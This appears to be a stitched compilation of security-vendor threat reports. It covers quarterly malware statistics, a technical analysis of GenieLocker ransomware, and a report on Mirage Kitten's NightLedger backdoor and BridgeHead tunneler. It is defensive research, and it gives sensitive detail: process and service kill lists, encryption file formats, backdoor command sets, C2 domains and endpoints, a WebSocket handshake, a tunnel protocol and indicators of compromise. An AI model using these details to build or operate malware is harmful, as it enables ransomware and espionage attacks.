Detections of PasivRobber spyware continued their downward trend. Meanwhile, adware and traffic-routing utilities (categorized as NetTool) rose to the top of the rankings. Additionally, Q2 saw a noticeable spike in detections for the DirtyCow exploit frequently leveraged for iPhone jailbreaking.

TOP 10 countries and territories by share of attacked users

Country/territory	%* Q1 2026	%* Q2 2026
Brazil	1.13	1.13
China	1.04	1.28
Hong Kong	0.92	0.49
Singapore	0.85	0.19
France	0.62	1.18
Mexico	0.43	0.72
India	0.41	0.42
Thailand	0.40	0.24
Germany	0.33	0.71
The Netherlands	0.31	0.62

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q2 2026, the breakdown of attacking devices and sessions that targeted Kaspersky honeypots by protocol was as follows:

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The share of SSH attacks saw a slight uptick compared to the previous quarter.

Distribution of cybercriminal sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

As is typically the case, Mirai botnet variants continue to dominate the IoT threat landscape. Activity of another prominent botnet, Prometei, also saw an increase.

Attacks on IoT honeypots

the Netherlands, Germany, and The United States accounted for the highest proportions of SSH-based attacks during this period. While the top three countries remained the same as last quarter, their relative rankings shifted.

Country/territory	Q1 2026	Q2 2026
The Netherlands	17.57%	21.18%
Germany	10.34%	16.73%
United States	23.74%	6.76%
Bulgaria	1.10%	5.50%
Sweden	2.09%	4.93%
Panama	6.34%	4.67%
Luxembourg	0.16%	4.62%
Romania	5.82%	4.06%
Vietnam	3.50%	3.91%
India	6.05%	2.78%

The percentage of Telnet-based attacks originating from Pakistan continued to climb, knocking China down to second place.

Country/territory	Q1 2026	Q2 2026
Pakistan	27.31%	36.60%
China	39.54%	35.62%
Russian Federation	8.25%	8.75%
India	4.66%	4.19%
Brazil	3.30%	3.34%
United States	0.45%	3.03%
Indonesia	6.71%	1.52%
Philippines	0.36%	0.95%
France	0.17%	0.84%
Thailand	0.55%	0.66%

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malware, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q2 2026, Kaspersky solutions blocked 399,312,961 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 52,850,592 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Bangladesh	11.71
2	India	7.40
3	Tajikistan	7.13
4	Venezuela	7.05
5	New Zealand	6.58
6	Vietnam	6.34
7	Taiwan	6.28
8	Belgium	6.24
9	France	5.97
10	Hungary	5.92
11	Nepal	5.91
12	Portugal	5.86
13	Italy	5.77
14	Costa Rica	5.72
15	Canada	5.65
16	Qatar	5.61
17	Dominican Republic	5.52
18	Palestine	5.48
19	Greece	5.47
20	UAE	5.43

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.54% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q2 2026, our File Anti-Virus detected 16,986,351 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

	Country/territory*	%**
1	Turkmenistan	46.38
2	Cuba	29.70
3	Tajikistan	28.46
4	Afghanistan	28.19
5	Yemen	27.85
6	Burundi	26.82
7	Mozambique	25.01
8	Republic of the Congo	24.88
9	Syria	23.17
10	Uzbekistan	22.49
11	China	21.92
12	Nicaragua	21.60
13	Cameroon	21.47
14	Bangladesh	20.43
15	Democratic Republic of the Congo	20.25
16	Algeria	19.78
17	Uganda	19.48
18	Ethiopia	18.57
19	Tanzania	18.54
20	Mali	18.53

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers Malware local threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 10.93% of users’ computers during Q2.

Russia scored 10.78% in these rankings.

IT threat evolution in Q2 2026. Mobile statistics
IT threat evolution in Q2 2026. Non-mobile statistics

The mobile section of the quarterly cyberthreat report includes statistics on malware, adware, and potentially unwanted software for Android, as well as descriptions of the most notable threats for Android and iOS discovered during the reporting period. These statistics are based on detection alerts from Kaspersky products, collected from users who consented to provide statistical data to Kaspersky Security Network.

The quarter in figures

According to Kaspersky Security Network, in Q2 2026:

• More than 1.99 million attacks on mobile devices utilizing malware, adware, or unwanted mobile software were blocked.

• The Trojan-Banker category was the most prevalent mobile malware threat with a 30.77% share of total detected applications.
• More than 304,000 malicious installation packages were discovered, including:
  • 93,574 packages were related to mobile banking Trojans;
  • 570 packages were related to mobile ransomware Trojans.

Quarterly highlights

Attacks on mobile devices involving malware, adware, or unwanted software continued their downward trend, falling to 1,996,823 in Q2 from 2,676,328 the previous quarter.

Attacks on users of Kaspersky mobile solutions, Q4 2024 — Q2 2026 (download)

We noted a downward trend in attacks driven by specific strains of pre-installed Trojans — a shift likely tied to the rollout of patched vendor firmware.

In Q2, our telemetry uncovered multiple malicious loaders hosted directly on Google Play. As highlighted in a prior report (link in Russian), one such instance involved a PDF reader app trojanized to drop the Anatsa banking malware. Upon execution, the app presented users with a fake request to install an update, which served as a front to stage the banking Trojan on the victim’s device.

Another notable case involves a loader we detected in the Cleanova app alongside several others. The malware sent requests to a command-and-control server containing telemetry gathered from various SDKs that track the installation source. A malicious payload was returned only for certain sources. This is a fairly interesting method for bypassing app store review processes while ensuring precise victim targeting. If an analytics SDK indicates that an arbitrary installation originated from a source outside the threat actors’ scope, the malicious logic remains dormant. This effectively hides the malware from app store scanners.

Mobile threat statistics

In Q2, the number of Android malware samples totaled 304,128. It remained steady compared to the previous reporting period.

Detected malicious and potentially unwanted installation packages, Q2 2025 — Q2 2026 (download)

The detected installation packages were distributed by type as follows:

Detected mobile apps by type, Q1 — Q2 2026* (download)

* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.

While the number of newly discovered banking Trojan variants fell precipitously, they continued to dominate the threat landscape as they did in Q1. Notably, the share of Creduz malware family among identified banking samples has grown significantly despite low activity in victim telemetry. This discrepancy suggests the threat actors are actively iterating on the malware — likely testing new features or bypasses — by generating a high volume of builds before staging a broader campaign.

Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q1 — Q2 2026 (download)

* The total may exceed 100% if the same users experienced multiple attack types.

Within the adware category, the sharpest declines were observed in the HiddenAd and MobiDash families. Meanwhile, the proportion of users targeted by Trojan-Dropper malware increased, primarily driven by surges in banking droppers such as Trojan-Dropper.AndroidOS.Banker and Trojan-Dropper.AndroidOS.Mamont. The corresponding drop in the Trojan-Banker category is partially explained by a shift in tactics: several banking Trojans which are now being packed were subsequently reclassified as droppers.

TOP 20 most frequently detected types of mobile malware

Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.

Verdict	%* Q1 2026	%* Q2 2026	Difference in p.p.	Change in ranking
Backdoor.AndroidOS.Triada.ag	7.09	9.35	+2.25	0
DangerousObject.Multi.Generic.	5.84	5.65	-0.19	0
DangerousObject.AndroidOS.GenericML.	5.51	5.25	-0.26	0
Trojan.AndroidOS.Boogr.gsh	2.15	3.33	+1.18	+9
Backdoor.AndroidOS.Triada.z	3.08	3.23	+0.15	+3
Trojan-Banker.AndroidOS.Mamont.hl	1.10	2.48	+1.38	+22
Trojan.AndroidOS.Fakemoney.v	3.44	2.31	-1.13	-2
Trojan-Spy.AndroidOS.Btmob.e	0.00	2.27	+2.27
Trojan.AndroidOS.Triada.fe	2.98	2.18	-0.81	0
Trojan-Dropper.AndroidOS.Banker.dd	0.01	2.16	+2.15
Trojan.AndroidOS.Triada.hf	2.23	1.93	-0.29	+1
Backdoor.AndroidOS.Triada.ad	1.40	1.93	+0.53	+8
Backdoor.AndroidOS.Keenadu.a	2.73	1.88	-0.85	-3
Backdoor.AndroidOS.Triada.ab	1.72	1.79	+0.07	+2
Trojan-Banker.AndroidOS.Mamont.iv	1.03	1.63	+0.60	+16
Trojan.AndroidOS.Generic.	1.32	1.47	+0.15	+7
Backdoor.AndroidOS.Triada.ae	1.76	1.44	-0.31	-2
Trojan.AndroidOS.Fakemoney.ej	0.00	1.43	+1.43
Trojan.AndroidOS.Triada.ii	2.07	1.41	-0.66	-5
Trojan-Spy.AndroidOS.Agent.asa	0.02	1.38	+1.36

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The distribution of top malware families in Q2 largely mirrors the rankings from the previous reporting period. Newer variants of the Mamont banking Trojan climbed the leaderboards, displacing older iterations. This shift points to ongoing, active development of new variants by the threat actors behind the malware.

Mobile banking Trojans

In Q2, the total volume of Trojan-Banker applications dropped sharply compared to the previous quarter, totaling 93,574 installation packages.

Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2025 — Q2 2026 (download)

Against the backdrop of this trend, the distribution shifted heavily toward Creduz Trojans. However, as noted earlier, this shift was not reflected in real-world attack metrics: virtually the entire leaderboard by proportion of targeted users continues to be dominated by diverse Mamont variants.

TOP 10 mobile bankers

Verdict	%* Q1 2026	%* Q2 2026	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.hl	3.27	11.13	+7.86	+6
Trojan-Banker.AndroidOS.Mamont.iv	3.08	7.33	+4.25	+6
Trojan-Banker.AndroidOS.Mamont.mv	0.00	5.12	+5.12
Trojan-Banker.AndroidOS.Agent.ws	3.78	4.99	+1.22	+2
Trojan-Banker.AndroidOS.Mamont.mg	0.35	4.71	+4.36	+62
Trojan-Banker.AndroidOS.Faketoken.pac	2.56	4.10	+1.54	+6
Trojan-Banker.AndroidOS.Mamont.jo	15.75	3.73	-12.02	-6
Trojan-Banker.AndroidOS.Mamont.mc	0.83	3.51	+2.67	+26
Trojan-Banker.AndroidOS.Mamont.lf	0.00	2.79	+2.79
Trojan-Banker.AndroidOS.Agent.eq	0.89	2.58	+1.69	+23

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile security solutions who encountered banking threats.

Introduction

The new GenieLocker ransomware family has been active since March 2026. It has been used in attacks against organizations in the Russian Federation, primarily in the manufacturing sector, and attributed to the Toy Ghouls group by open-source intelligence (link in Russian).

The Toy Ghouls, also known as Bearlyfy, Labubu and Laboo.boo, is a financially motivated extortion group, which previously relied on third-party encryption Trojans like RedAlert, LockBit, and Babuk. GenieLocker, apparently a custom design, upgrades their toolkit and reduces their reliance on third-party software. We discovered multiple samples of this Trojan in two variants: PE builds for Windows and ELF builds for Linux and ESXi.

Technical details

Modus operandi

We described typical TTPs and modus operandi of the Toy Ghouls threat actor in the previous post (link in Russian).

In this article, we aim to thoroughly describe the capabilities of Windows and Linux builds of the custom encryption Trojan GenieLocker. To give more context, we will also provide a brief overview of the attack that took place at the end of March 2026, where GenieLocker was deployed on the victim’s systems.

Initial Access

During the incident, the attackers first entered the environment through an OpenVPN connection originating from an external partner’s network. They likely exploited the trusted relationship with that partner and used stolen, yet still valid, credentials to connect.

Discovery and Credential Access

After breaching the target’s network, the attackers installed additional tools on the compromised hosts, including OpenSSH, socks5.exe, SoftPerfect Network Scanner, and Mimikatz. They employed SoftPerfect Network Scanner for discovery and used Mimikatz to dump credentials. Forensic analysis also shows that they accessed the KeePassXC password manager already installed on several compromised machines, likely attempting to extract the stored credentials from the KeePass databases.

Lateral Movement and Command and Control

Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

Argument	Description
First argument	“Secret” argument, hex string value
-p, –percent N	Percentage of file content to encrypt
-r, –recursive	Process directories recursively
-l, –log <filename>	Set path for log file
-h, –help	Show help message
Last argument	Path to encrypt

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

Value or name	Size (bytes)	Description
version	1	Hardcoded byte with value 1, most likely the version.
encryption_percent	1	Percentage of file content to encrypt, value from -p argument.
file_nonce	24	Nonce used during encryption of the file content.
original_filesize	8	Original size of the file before encryption.
total_chunk_count	8	Max count of chunks inside the current file.
chunk_size	4	Size of a single encrypted chunk (by default, 0x1000000 bytes on Windows and 0x400000 on ESXi and Linux).
remain_size	4	The number of bytes remaining after splitting the file content into chunks.
blake2b_digest_of_chunks	32	BLAKE2b-256 hash calculated from the original data of all chunks before they are encrypted. Used for integrity checks.
chunk_count	4	Number of chunks that were encrypted.
extension	64	A string with the additional ransomware extension.
poly1305_tags (array)	16 bytes per chunk	Array of Poly1305 tags of encrypted chunks.
bitmask	varies, one bit per each chunk	Chunks bitmask; if set, the chunk is encrypted; otherwise, it is not.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

Argument	Description
-p <perc>	Percentage of file content to encrypt
-j <workers>	Number of encryption threads
-r <dir>	Process directories recursively
-w <sec>	Delay before start
-d	Daemonizing the process
-l <logfile>	Path to log file

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID	Description
1	Gather user and host identity information
3	Execute a process/program
17	List directories
20	Download a file to the infected system
25	Gather host and network information
27	Copy a file
30	Update beacon interval
36	Take a screenshot
43	Load a DLL
56	Kill a process
62	Delete a file
69	Terminate thread
70	Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75	Enumerate logical drives
90	List processes
93	Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

